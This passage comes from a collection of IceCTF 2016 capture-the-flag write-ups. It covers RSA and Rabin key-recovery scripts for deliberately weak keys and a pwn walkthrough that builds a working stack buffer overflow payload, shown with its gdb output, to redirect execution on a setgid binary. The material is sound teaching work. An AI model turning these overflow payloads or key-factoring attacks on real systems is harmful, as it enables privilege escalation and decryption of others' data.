13 | N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
14 | e=0x10001
15 | c=0x3dbf00a02f924a70f44bdd69e73c46241e9f036bfa49a0c92659d8eb0fe47e42068eaf156a9b3ee81651bc0576a91ffed48610c158dc8d2fb1719c7242704f0d965f8798304925a322c121904b91e5fc5eb3dc960b03eb8635be53b995217d4c317126e0ec6e9a9acfd5d915265634a22a612de962cfaa2e0443b78bdf841ff901423ef765e3d98b38bcce114fede1f13e223b9bd8155e913c8670d8b85b1f3bcb99353053cdb4aef1bf16fa74fd81e42325209c0953a694636c0ce0a19949f343dc229b2b7d80c3c43ebe80e89cbe3a3f7c867fd7cee06943886b0718a4a3584c9d9f9a66c9de29fda7cfee30ad3db061981855555eeac01940b1924eb4c301
16 | ```
17 |
18 | So we have three variable `N`, `e`, and `c`, but what do we do with them. Well in RSA `N` is what is known as your "public modulus" and is obtained by multiplying your two primes `p` and `q`, `c` is what is
19 | known as our cipher text which was obtained by using the RSA algorithm on our plaintext message. If you want to learn more about the specifics of RSA you can chekc them out on [wikipedia](https://en.wikipedia.org/wiki/RSA_(cryptosystem) "RSA").
20 | The important thing to know is that to decrypt the message we have to obtain `d` and for that we need to know `p` and `q` which means getting the prime factorization of `N`. There are a few utilities that
21 | do this for us, thankfully: you can use the online tool at [factordb](www.factordb.com "factor db") OR you can use [YAFU](https://sourceforge.net/projects/yafu/ "Yet Another Factoring Utility") which is what
22 | I did and recommend. Using yafu we can factor our N into p and q like so:
23 |
24 | ```python
25 | ing GMP-ECM 6.4.4, Powered by GMP 5.1.1
26 | detected Intel(R) Core(TM) i7-4770HQ CPU @ 2.20GHz
27 | detected L1 = 32768 bytes, L2 = 134217728 bytes, CL = 64 bytes
28 | measured cpu frequency ~= 2194.754630
29 | using 20 random witnesses for Rabin-Miller PRP checks
30 |
31 | ===============================================================
32 | ======= Welcome to YAFU (Yet Another Factoring Utility) =======
33 | ======= bbuhrow@gmail.com =======
34 | ======= Type help at any time, or quit to quit =======
35 | ===============================================================
36 | cached 78498 primes. pmax = 999983
37 |
38 |
39 | >> N=0xee290c7a603fc23300eb3f0e5868d056b7deb1af33b5112a6da1edc9612c5eeb4ab07d838a3b4397d8e6b6844065d98543a977ed40ccd8f57ac5bc2daee2dec301aac508f9befc27fae4a2665e82f13b1ddd17d3a0c85740bed8d53eeda665a5fc1bed35fbbcedd4279d04aa747ac1f996f724b14f0228366aeae34305152e1f430221f9594497686c9f49021d833144962c2a53dbb47bdbfd19785ad8da6e7b59be24d34ed201384d3b0f34267df4ba8b53f0f4481f9bd2e26c4a3e95cd1a47f806a1f16b86a9fc5e8a0756898f63f5c9144f51b401ba0dd5ad58fb0e97ebac9a41dc3fb4a378707f7210e64c131bca19bd54e39bbfa0d7a0e7c89d955b1c9f
40 |
41 | invalid destination N
42 |
43 | ans = 30064958471180141352963255964320727764941087854957385562672821662319854021395100968823341108075020928542437446993994119863902565874355296188498304761389336438421889636409561936141985786801002923752627293790265351723795968412774268086467114263767947693310444934316205390814185802517514694528501333851255084653925181726978734804806707740444755908398751964899143494522781405457103697373868972836201511424363601490903086488506985489526910314474245106338585623571369549388434865567951986866445306840505397268281889886738015891982162371413136885989746931929787765617838750381226036784122498143172854419447324975505933540511
44 |
45 | >> factor(30064958471180141352963255964320727764941087854957385562672821662319854021395100968823341108075020928542437446993994119863902565874355296188498304761389336438421889636409561936141985786801002923752627293790265351723795968412774268086467114263767947693310444934316205390814185802517514694528501333851255084653925181726978734804806707740444755908398751964899143494522781405457103697373868972836201511424363601490903086488506985489526910314474245106338585623571369549388434865567951986866445306840505397268281889886738015891982162371413136885989746931929787765617838750381226036784122498143172854419447324975505933540511)
46 |
47 | fac: factoring 30064958471180141352963255964320727764941087854957385562672821662319854021395100968823341108075020928542437446993994119863902565874355296188498304761389336438421889636409561936141985786801002923752627293790265351723795968412774268086467114263767947693310444934316205390814185802517514694528501333851255084653925181726978734804806707740444755908398751964899143494522781405457103697373868972836201511424363601490903086488506985489526910314474245106338585623571369549388434865567951986866445306840505397268281889886738015891982162371413136885989746931929787765617838750381226036784122498143172854419447324975505933540511
48 | fac: using pretesting plan: normal
49 | fac: no tune info: using qs/gnfs crossover of 95 digits
50 | div: primes less than 10000
51 | fmt: 1000000 iterations
52 | rho: x^2 + 3, starting 1000 iterations on C617
53 | rho: x^2 + 2, starting 1000 iterations on C617
54 | Total factoring time = 0.3202 seconds
55 |
56 |
57 | ***factors found***
58 |
59 | P8 = 57970027
60 | PRP609 = 518629368090170828331048663550229634444384299751272939077168648935075604180676006392464524953128293842996441022771890719731811852948684950388211907532651941639114462313594608747413310447500790775078081191686616804987790818396104388332734677935684723647108960882771460341293023764117182393730838418468480006985768382115446225422781116531906323045161803441960506496275763429558238732127362521949515590606221409745127192859630468854653290302491063292735496286233738504010613373838035073995140744724948933839238851600638652315655508861728439180988253324943039367876070687033249730660337593825389358874152757864093
61 |
62 | ans = 1
63 | ```
64 |
65 | so we have our p and q and now we just need to compute d. To do so we need to compute `phi` where phi = (p-1)(q-1), so using python:
66 |
67 | ```python
68 | p = 57970027
69 | q = 518629368090170828331048663550229634444384299751272939077168648935075604180676006392464524953128293842996441022771890719731811852948684950388211907532651941639114462313594608747413310447500790775078081191686616804987790818396104388332734677935684723647108960882771460341293023764117182393730838418468480006985768382115446225422781116531906323045161803441960506496275763429558238732127362521949515590606221409745127192859630468854653290302491063292735496286233738504010613373838035073995140744724948933839238851600638652315655508861728439180988253324943039367876070687033249730660337593825389358874152757864093
70 | p_1 = p - 1
71 | q_1 = q - 1
72 | phi = p_1 * q_1
73 | ```
74 |
75 | In order to find d we need to calculate the modular inverse of c and phi. We can do this in python with a little bit of code found on [stackoverflow](http://stackoverflow.com/questions/4798654/modular-multiplicative-inverse-function-in-pyt "Modular Multiplicative Inverse in Python").
76 | Putting it into the script we get the following which spits out d:
77 |
78 | ```python
79 | #!/usr/bin/python
80 |
81 | # egcd and modinv functions from: http://stackoverflow.com/questions/4798654/modular-multiplicative-inverse-function-in-python
82 | def egcd(a, b):
83 | if a == 0:
84 | return (b, 0, 1)
85 | else:
86 | g, y, x = egcd(b % a, a)
87 | return (g, x - (b // a) * y, y)
88 |
89 | def modinv(a, m):
90 | g, x, y = egcd(a, m)
91 | if g != 1:
92 | raise Exception('modular inverse does not exist')
93 | else:
94 | return x % m
95 | e = int(0x10001)
96 | p = 57970027
97 | q = 518629368090170828331048663550229634444384299751272939077168648935075604180676006392464524953128293842996441022771890719731811852948684950388211907532651941639114462313594608747413310447500790775078081191686616804987790818396104388332734677935684723647108960882771460341293023764117182393730838418468480006985768382115446225422781116531906323045161803441960506496275763429558238732127362521949515590606221409745127192859630468854653290302491063292735496286233738504010613373838035073995140744724948933839238851600638652315655508861728439180988253324943039367876070687033249730660337593825389358874152757864093
98 | p_1 = p - 1
99 | q_1 = q - 1
100 | phi = p_1 * q_1
101 | d = modinv(e,phi)
102 | print hex(d)
103 | ```
104 |
105 | From there you can either do the math in python or just provide your c and d values to the tool [here](http://nmichaels.org/rsa.py "Online RSA Tool") which gives back the flag in hex format
106 | which means all you need to do is convert hex to ascii which again is pretty easy and can be done online [here](http://www.rapidtables.com/convert/number/hex-to-ascii.htm "Online Hex to ASCII converter") if you are feeling lazy.
107 |
108 | For your effort you are rewarded with the flag: `IceCTF{next_time_check_your_keys_arent_factorable}`
109 |
110 |
111 | For convenience because either I am terrible at searching or no one has bothered to make one very easily visible, I have written a small python script that asks for e, p, and q then solves for your d and returns it in hex format. Feel free to use it.
112 |
--------------------------------------------------------------------------------
/icectf-2016/RSA2/nptr_rsatool.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | def egcd(a, b):
4 | if a == 0:
5 | return (b, 0, 1)
6 | else:
7 | g, y, x = egcd(b % a, a)
8 | return (g, x - (b // a) * y, y)
9 |
10 | def modinv(a, m):
11 | g, x, y = egcd(a, m)
12 | if g != 1:
13 | raise Exception('modular inverse does not exist')
14 | else:
15 | return x % m
16 |
17 | print('Give me your e value:')
18 | e = input()
19 | print('Input your p value:')
20 | p = input()
21 | print('Input your q value:')
22 | q = input()
23 |
24 | print('Solving for the d. Give me a sec, kay ;)')
25 | p -= 1
26 | q -= 1
27 | phi = p * q
28 | d = modinv(e,phi)
29 | print('Found your d, sweetheart:')
30 | print(hex(d))
31 |
--------------------------------------------------------------------------------
/icectf-2016/Round-Rabins/README.md:
--------------------------------------------------------------------------------
1 | # IceCTF 2016
2 | # Round Rabins!
3 | # Solved By: bt
4 | ###### Crypto Challenge -- 100 points
5 |
6 | ## Description
7 | "John gave up on RSA and moved to Rabin. ...he still did it wrong though [flag.txt](https://play.icec.tf/problem-static/flag_4541b3f5527778f80ae376bf7234dda6ea9a97b6103284a1f596bcec5e1c312c.txt). What a box!"
8 |
9 |
10 | ## Solution
11 |
12 | After downloading the provided text file, we open it up and see what we have:
13 |
14 | N=0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601
15 | c=0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
16 |
17 |
18 | Hmm... looks like RSA, but without an exponent. The name of the challenge is Rabin, so we read [Wikipedia](https://en.wikipedia.org/wiki/Rabin_cryptosystem) to get the details of the cryptosystem to find out how encryption works. For a message , we get our ciphertext . The goal is to find the square roots of  in .
19 |
20 | We use [Yafu](https://sourceforge.net/projects/yafu/) to find factors of :
21 |
22 | ***factors found***
23 |
24 | P154 = 8683574289808398551680690596312519188712344019929990563696863014403818356652403139359303583094623893591695801854572600022831462919735839793929311522108161
25 | P154 = 8683574289808398551680690596312519188712344019929990563696863014403818356652403139359303583094623893591695801854572600022831462919735839793929311522108161
26 |
27 | So  is a square of a prime .
28 |
29 | After reading about decrypting a Rabin cipher, it seems we need our primes  is a square of a prime  and  is a square of a prime  to be congruent to  is a square of a prime , but  is a square of a prime , so we can't use the decryption method found in the article easily.
30 |
31 | The problem boils down to finding .
32 | After a few hours of Googling and researching, I came across [Hensel's Lemma](https://en.wikipedia.org/wiki/Hensel%27s_lemma). Hensel's Lemma says we can use the roots found from  to "lift" to a higher power of , i.e.,  for any .
33 |
34 | I found a [post](http://mathforum.org/library/drmath/view/70474.html) which has formulas for finding our roots. Basically we have two main steps:
35 |
36 | 1. Find the square roots modulo , i.e., . This is pretty easy to find using a modular square root algorithm.
37 | 2. Find roots of increasing powers of  using the equation , where  is one of the roots found from step 1. (Do this step again for every root found in step 1).
38 |
39 | Since we're interested in the roots , we can stop here and look at the two new roots found in step 2. One of them is our flag, the other is extraneous. We write a script to do our computations:
40 |
41 | ~~~python
42 | #!/usr/bin/env python
43 | '''
44 | Rabin cryptosystem challenge:
45 | N=0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601
46 |
47 |
48 | c=0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0b
49 | '''
50 | # some functions from http://codereview.stackexchange.com/questions/43210/tonelli-shanks-algorithm-implementation-of-prime-modular-square-root/43267
51 | def legendre_symbol(a, p):
52 | """
53 | Legendre symbol
54 | Define if a is a quadratic residue modulo odd prime
55 | http://en.wikipedia.org/wiki/Legendre_symbol
56 | """
57 | ls = pow(a, (p - 1)/2, p)
58 | if ls == p - 1:
59 | return -1
60 | return ls
61 |
62 | def prime_mod_sqrt(a, p):
63 | """
64 | Square root modulo prime number
65 | Solve the equation
66 | x^2 = a mod p
67 | and return list of x solution
68 | http://en.wikipedia.org/wiki/Tonelli-Shanks_algorithm
69 | """
70 | a %= p
71 |
72 | # Simple case
73 | if a == 0:
74 | return [0]
75 | if p == 2:
76 | return [a]
77 |
78 | # Check solution existence on odd prime
79 | if legendre_symbol(a, p) != 1:
80 | return []
81 |
82 | # Simple case
83 | if p % 4 == 3:
84 | x = pow(a, (p + 1)/4, p)
85 | return [x, p-x]
86 |
87 | # Factor p-1 on the form q * 2^s (with Q odd)
88 | q, s = p - 1, 0
89 | while q % 2 == 0:
90 | s += 1
91 | q //= 2
92 |
93 | # Select a z which is a quadratic non resudue modulo p
94 | z = 1
95 | while legendre_symbol(z, p) != -1:
96 | z += 1
97 | c = pow(z, q, p)
98 |
99 | # Search for a solution
100 | x = pow(a, (q + 1)/2, p)
101 | t = pow(a, q, p)
102 | m = s
103 | while t != 1:
104 | # Find the lowest i such that t^(2^i) = 1
105 | i, e = 0, 2
106 | for i in xrange(1, m):
107 | if pow(t, e, p) == 1:
108 | break
109 | e *= 2
110 |
111 | # Update next value to iterate
112 | b = pow(c, 2**(m - i - 1), p)
113 | x = (x * b) % p
114 | t = (t * b * b) % p
115 | c = (b * b) % p
116 | m = i
117 |
118 | return [x, p-x]
119 |
120 | def egcd(a, b):
121 | if a == 0:
122 | return (b, 0, 1)
123 | else:
124 | g, y, x = egcd(b % a, a)
125 | return (g, x - (b // a) * y, y)
126 |
127 | def modinv(a, m):
128 | g, x, y = egcd(a, m)
129 | if g != 1:
130 | raise Exception('modular inverse does not exist')
131 | else:
132 | return x % m
133 |
134 |
135 | # This finds a solution for c = x^2 (mod p^2)
136 | def find_solution(c, p):
137 | '''
138 | Hensel lifting is fairly simple. In one sense, the idea is to use
139 | Newton's method to get a better result. That is, if p is an odd
140 | prime, and
141 |
142 | r^2 = n (mod p),
143 |
144 | then you can find the root mod p^2 by changing your first
145 | "approximation" r to
146 |
147 | r - (r^2 - n)/(2r) (mod p^2).
148 |
149 | http://mathforum.org/library/drmath/view/70474.html
150 | '''
151 | n = p ** 2
152 | # Get square roots for x^2 (mod p)
153 | r = prime_mod_sqrt(c,p)[0]
154 |
155 | inverse_2_mod_n = modinv(2, n)
156 | inverse_r_mod_n = modinv(r, n)
157 |
158 | new_r = r - inverse_2_mod_n * (r - c * inverse_r_mod_n)
159 |
160 | return new_r % n
161 |
162 | if __name__ == "__main__":
163 | # These are the given values
164 | n = 0x6b612825bd7972986b4c0ccb8ccb2fbcd25fffbadd57350d713f73b1e51ba9fc4a6ae862475efa3c9fe7dfb4c89b4f92e925ce8e8eb8af1c40c15d2d99ca61fcb018ad92656a738c8ecf95413aa63d1262325ae70530b964437a9f9b03efd90fb1effc5bfd60153abc5c5852f437d748d91935d20626e18cbffa24459d786601L
165 | # n is a perfect square: n = p * p
166 | p = 0xa5cc6d4e9f6a893c148c6993e1956968c93d9609ed70d8366e3bdf300b78d712e79c5425ffd8d480afcefc71b50d85e0914609af240c981c438acd1dcb27b301L
167 | # encrypted message
168 | c = 0xd9d6345f4f961790abb7830d367bede431f91112d11aabe1ed311c7710f43b9b0d5331f71a1fccbfca71f739ee5be42c16c6b4de2a9cbee1d827878083acc04247c6e678d075520ec727ef047ed55457ba794cf1d650cbed5b12508a65d36e6bf729b2b13feb5ce3409d6116a97abcd3c44f136a5befcb434e934da16808b0bL
169 |
170 | solution = find_solution(c, p)
171 | print hex(solution)[2:-1].decode("hex")
172 | ~~~
173 |
174 | Running this gives us our flag: `IceCTF{john_needs_to_get_his_stuff_together_and_do_things_correctly}`
175 |
--------------------------------------------------------------------------------
/icectf-2016/Smashing-Profit/README.md:
--------------------------------------------------------------------------------
1 | # IceCTF 2016
2 | ## Solution By: Nullp0inter
3 |
4 | # Smashing Profit! Pwn 60pts
5 |
6 | Do you think you can make this program jump to somewhere it isn't supposed to? Where we're going we don't need buffers!
7 | /home/profit/ on the shell.
8 |
9 | # Solution:
10 | So this is one of a few challenges that used an ssh connection to a shell they provided. Unfortunately you can no longer
11 | get login information if you did not save your own (I had to get the info to do the writeup from a friend). They do not
12 | provide a download so you simply have to login via ssh as they tell you. Once you are in your shell instance, go ahead and
13 | `cd /home/profit` like the challenge tells you and you will see a few files like so:
14 |
15 | ```zsh
16 | [ctf-xxxx@icectf-shell-2016 ~]$
17 | [ctf-xxxx@icectf-shell-2016 ~]$ cd /home/profit
18 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ ls -l
19 | total 16
20 | -r--r----- 1 root profit 30 Aug 12 08:54 flag.txt
21 | -rw-r--r-- 1 root root 101 Aug 12 08:54 Makefile
22 | -rwxr-sr-x 1 root profit 5708 Aug 12 08:54 profit
23 |
24 | ```
25 |
26 | So what should jump out right away are `flag.txt` and `Makefile`. Obviously flag.txt is both read and write protected, so we
27 | can't really do anything to it since we aren't root or user `profit`. So lets put `flag.txt` aside and look at the make file:
28 |
29 | ```zsh
30 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ cat Makefile
31 | CC=gcc
32 | CFLAGS=-m32 -fno-stack-protector
33 |
34 | all:
35 | $(CC) $(CFLAGS) source.c -o profit
36 |
37 | clean:
38 | rm profit
39 | ```
40 |
41 | Nice compiled 32-bit with no stack protection enabled (i.e. no canary). This is good, because it means we can easily do buffer overflow
42 | exploits. Now if you have ever heard or/read aleph1's "Smashing the Stack for Fun and Profit" from a 1996 release of Phrack Magazine,
43 | you are probably already well aware the exploit we are about to do is a buffer overflow.
44 |
45 | In any case, we now know what the exploit type is but now we need to figure out two things: how big our buffer is, and also where we need
46 | to jump to. We can easily find out how big our buffer is using `python` and `gdb` but finding where we need to jump is probably easier or
47 | more apparent if we use `objdump`. Let's first figure out where we want to jump:
48 |
49 | ```zsh
50 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ objdump -D profit | grep flag
51 | 0804850b :
52 | [ctf-xxxx@icectf-shell-2016 /home/profit]$
53 | ```
54 |
55 | So there is a function called "flag" at 0x0804850b, there is a pretty decent chance it is what we need to jump to but we can confirm this
56 | in `gdb` so lets fire that up:
57 |
58 | ```zsh
59 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ gdb -q profit
60 | Reading symbols from profit...(no debugging symbols found)...done.
61 | gdb-peda$ b main
62 | Breakpoint 1 at 0x804859b
63 | gdb-peda$ r
64 | [----------------------------------registers-----------------------------------]
65 | EAX: 0x1
66 | EBX: 0xf76f2000 --> 0x1a8da8
67 | ECX: 0xffef4280 --> 0x1
68 | EDX: 0xffef42a4 --> 0xf76f2000 --> 0x1a8da8
69 | ESI: 0x0
70 | EDI: 0x0
71 | EBP: 0xffef4268 --> 0x0
72 | ESP: 0xffef4264 --> 0xffef4280 --> 0x1
73 | EIP: 0x804859b (: sub esp,0x4)
74 | EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
75 | [-------------------------------------code-------------------------------------]
76 | 0x8048597 : push ebp
77 | 0x8048598 : mov ebp,esp
78 | 0x804859a : push ecx
79 | => 0x804859b : sub esp,0x4
80 | 0x804859e : call 0x804855e
81 | 0x80485a3 : mov eax,0x0
82 | 0x80485a8 : add esp,0x4
83 | 0x80485ab : pop ecx
84 | [------------------------------------stack-------------------------------------]
85 | 0000| 0xffef4264 --> 0xffef4280 --> 0x1
86 | 0004| 0xffef4268 --> 0x0
87 | 0008| 0xffef426c --> 0xf7562a63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
88 | 0012| 0xffef4270 --> 0x80485c0 (<__libc_csu_init>: push ebp)
89 | 0016| 0xffef4274 --> 0x0
90 | 0020| 0xffef4278 --> 0x0
91 | 0024| 0xffef427c --> 0xf7562a63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
92 | 0028| 0xffef4280 --> 0x1
93 | [------------------------------------------------------------------------------]
94 | Legend: code, data, rodata, value
95 |
96 | Breakpoint 1, 0x0804859b in main ()
97 | gdb-peda$
98 | ```
99 |
100 | Oh snap! They got peda installed! If you don't know what peda is don't worry about it for now, but I'd definitely [look into it](https://github.com/longld/peda "Peda Is a Fantastic Addition to gdb")
101 | In the meantime, we set a breakpoint at main (`b main`) so we can start to run the program until that point (`r`). The program prints out the
102 | registers, a bit of the code, and the stack (these are all due to peda) but we are interested in seeing what happens in that `flag` function. So
103 | lets have gdb disassemble it using `disass flag` (*NOTE:* peda users can do `pdisass` to get some highlighting over different parts such as
104 | function calls that may prove useful). The output of gdb's disassembly of the function `flag` is:
105 |
106 | ```gdb
107 | db-peda$ disass flag
108 | Dump of assembler code for function flag:
109 | 0x0804850b <+0>: push ebp
110 | 0x0804850c <+1>: mov ebp,esp
111 | 0x0804850e <+3>: sub esp,0x58
112 | 0x08048511 <+6>: sub esp,0x8
113 | 0x08048514 <+9>: push 0x0
114 | 0x08048516 <+11>: push 0x8048650
115 | 0x0804851b <+16>: call 0x80483e0
116 | 0x08048520 <+21>: add esp,0x10
117 | 0x08048523 <+24>: mov DWORD PTR [ebp-0xc],eax
118 | 0x08048526 <+27>: sub esp,0x4
119 | 0x08048529 <+30>: push 0x40
120 | 0x0804852b <+32>: lea eax,[ebp-0x4c]
121 | 0x0804852e <+35>: push eax
122 | 0x0804852f <+36>: push DWORD PTR [ebp-0xc]
123 | 0x08048532 <+39>: call 0x8048390
124 | 0x08048537 <+44>: add esp,0x10
125 | 0x0804853a <+47>: sub esp,0x8
126 | 0x0804853d <+50>: lea eax,[ebp-0x4c]
127 | 0x08048540 <+53>: push eax
128 | 0x08048541 <+54>: push 0x804865b
129 | 0x08048546 <+59>: call 0x80483a0
130 | 0x0804854b <+64>: add esp,0x10
131 | 0x0804854e <+67>: sub esp,0xc
132 | 0x08048551 <+70>: push DWORD PTR [ebp-0xc]
133 | 0x08048554 <+73>: call 0x8048400
134 | 0x08048559 <+78>: add esp,0x10
135 | 0x0804855c <+81>: leave
136 | 0x0804855d <+82>: ret
137 | End of assembler dump.
138 | gdb-peda$ x/s 0x08048650
139 | 0x8048650: "./flag.txt"
140 | gdb-peda$
141 | ```
142 |
143 | If you read carefully you'll see I also ran `x/s 0x08048650`, I did this because there is a call to `open` which needs a filepath to work
144 | (see `man 2 open` from a shell) and that as a parameter it would be pushed almost immediately prior to the function call. The command `x/s`
145 | is used to e**x**amine, as a **s**tring, the memory at location `0x08048650` which is what is pushed just before the call to `open`. So based
146 | on knowing that this function opens `flag.txt` and also has calls to `read` and `printf` we can be confidently sure that it is where we need
147 | to jump to.
148 |
149 | That leads us back to the other thing we need to know, the size of our buffer. For this I am going to exit `gdb` for a moment and use `python`.
150 |
151 | ```zsh
152 | gdb-peda$ q
153 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 64" | ./profit
154 | Smashing the stack for fun and...?
155 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 128" | ./profit
156 | Smashing the stack for fun and...?
157 | [1] 12416 done python -c "print 'A' * 128" |
158 | 12417 segmentation fault ./profit
159 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 128" | ./profit
160 | Smashing the stack for fun and...?
161 | [1] 12416 done python -c "print 'A' * 128" |
162 | 12417 segmentation fault ./profit
163 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 120" | ./profit
164 | Smashing the stack for fun and...?
165 | [1] 12570 done python -c "print 'A' * 120" |
166 | 12571 segmentation fault ./profit
167 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 90" | ./profit
168 | Smashing the stack for fun and...?
169 | [1] 12687 done python -c "print 'A' * 90" |
170 | 12688 segmentation fault ./profit
171 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 70" | ./profit
172 | Smashing the stack for fun and...?
173 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 80" | ./profit
174 | Smashing the stack for fun and...?
175 | [1] 12954 done python -c "print 'A' * 80" |
176 | 12955 segmentation fault ./profit
177 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 75" | ./profit
178 | Smashing the stack for fun and...?
179 | [1] 13079 done python -c "print 'A' * 75" |
180 | 13080 segmentation fault ./profit
181 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A' * 74" | ./profit
182 | Smashing the stack for fun and...?
183 | [ctf-xxxx@icectf-shell-2016 /home/profit]$
184 |
185 | ```
186 |
187 | So what I did there was I used python to print out 64 A's in an attempt to figure out the buffer size. What I am looking for are `segmentation
188 | faults`, as seen after I tried 128 A's. I then proceeded to alter that number in a sort of binary-search like manner until I determined that
189 | the program will `segfault` at 75 A's but *not* at 74. This is good. We can be fairly certain that at 75 A's printed, we start to overwrite
190 | *something* important in the program. Our goal, however, is to overwrite the programs `eip` or "Instruction Pointer" which in basic terms
191 | simply points to the next location to exectute code once you hit a return (for our purposes here this definition is *"good enough"*).
192 | Something to note is that we generally work in multiples of 4 bytes though so we want to go up to 76 bytes (*Note* I kind of glossed over this
193 | but each ascii character is a single byte in memory though that may vary between architectures).
194 | You can take my word for this OR you use gdb and just keep copying and pasting patters until you recognize where you overwrite the 4 bytes of
195 | `eip`. Once you recognize the pattern you start to consistently overwrite `eip` at you know your *distance to eip* which is the number of
196 | bytes you have to write beforehand. In this case as I said it is 76 bytes so 76 of *any* ascii character will work. Let's just keep using A's,
197 | so we need 76 A's then the address of `flag`. At this point you need to know just a little bit about something called endianness
198 | (*NOTE* see "On Endianness" below) and that the address goes in little endian. So we can now craft our little exploit string using the format
199 | of `<76 characters>`. Remember from our earlier disassembly of flag that it starts at address 0x0804850b so
200 | if we put everything together in a python string and pipe it to the program we get the following:
201 |
202 | ```zsh
203 | [ctf-xxxx@icectf-shell-2016 /home/profit]$ python -c "print 'A'*76+'\x0b\x85\x04\x08'" | ./profit
204 | Smashing the stack for fun and...?
205 | IceCTF{who_would_have_thunk?}
206 | [1] 31285 done python -c "print 'A'*76+'\x0b\x85\x04\x08'" |
207 | 31286 segmentation fault ./profit
208 | [ctf-xxxx@icectf-shell-2016 /home/profit]$
209 | ```
210 |
211 | There it is! The flag is `IceCTF{who_would_have_thunk?}`.
212 |
213 | # On Endianness:
214 | While this is pretty obvious to many people in the CTF, I wanted to write a quick blurb about how endianness works for any new folks that
215 | decide to read this. On x86 architectures the CPU reads bytes in what is called *little endian*. *Endianness* refers to the order in which
216 | the specific architecture is reading the bytes and should be either *big endian*, *little endian*, or *bi-endian*.
217 |
218 | ### Big Endian:
219 | In *big endian* the bytes are read in the order you might read them. For example lets take the 4-byte address `0xaabbccdd`. Naturally you as
220 | a human will read that from left to right, what you might consider *in order* as `aa` then `bb` then `cc` then `dd`. This is how a big endian
221 | architecture will read them as well. So in a python injection that would look like `python -c "print '\xaa\xbb\xcc\xdd'" | ./`
222 |
223 | ### Little Endian:
224 | In little endian they are read in *reverse order*. This doesn't mean that in `0xabcdef12` you end up with `0xbadcfe21` but rather that you go
225 | from right to left, keeping the bytes in order. Remember that in hex each **_two_** digits represents a single byte, so `aa` is a byte, `bb`
226 | is another byte, and so on. So going back to using `0xaabbccdd` as our example address in little endian you read it byte by byte from *right
227 | to left*. That means in a python injection it would look like `python -c "print '\xdd\xcc\xbb\xaa'" | ./`
228 |
229 | ### Bi Endian:
230 | The architecture can support little endian *and* big endian so you'll have to do a little bit of testing to figure it out for yourself. I'm
231 | not totally sure how it is decided here and haven't had to deal with it yet.
232 |
--------------------------------------------------------------------------------
/icectf-2016/Smashing-Profit/flag.txt:
--------------------------------------------------------------------------------
1 | IceCTF{who_would_have_thunk?}
2 |
--------------------------------------------------------------------------------
/icectf-2016/Smashing-Profit/profit:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/icectf-2016/Smashing-Profit/profit
--------------------------------------------------------------------------------
/icectf-2016/Thors-A-Hacker-Now/README.md:
--------------------------------------------------------------------------------
1 | # IceCTF Thor
2 | ## Solution By: Nullp0inter
3 |
4 | # Thor's A Hacker Now -Misc- 55pts
5 | Thor has been staring at this for hours and he can't make any sense out of it, can you help him figure out what it is? thor.txt
6 |
7 | # Solution:
8 | The challenge gives us a text file that is quite obviously a hex dump of something. The file
9 | is pretty large so I won't post it directly here but its hosted in the same directory here on github
10 | just in case they ever take it down from IceCTFs site. In any case...
11 |
12 | If you pay attention to the first 4 letters on the right, you see it says "LZIP". That happens to
13 | be the file type, it is simply the hexdump of an lzipped archive. So first you have to go and
14 | download lzip. If you are using ubuntu, then simply do `sudo apt-get install lzip`. Once you have
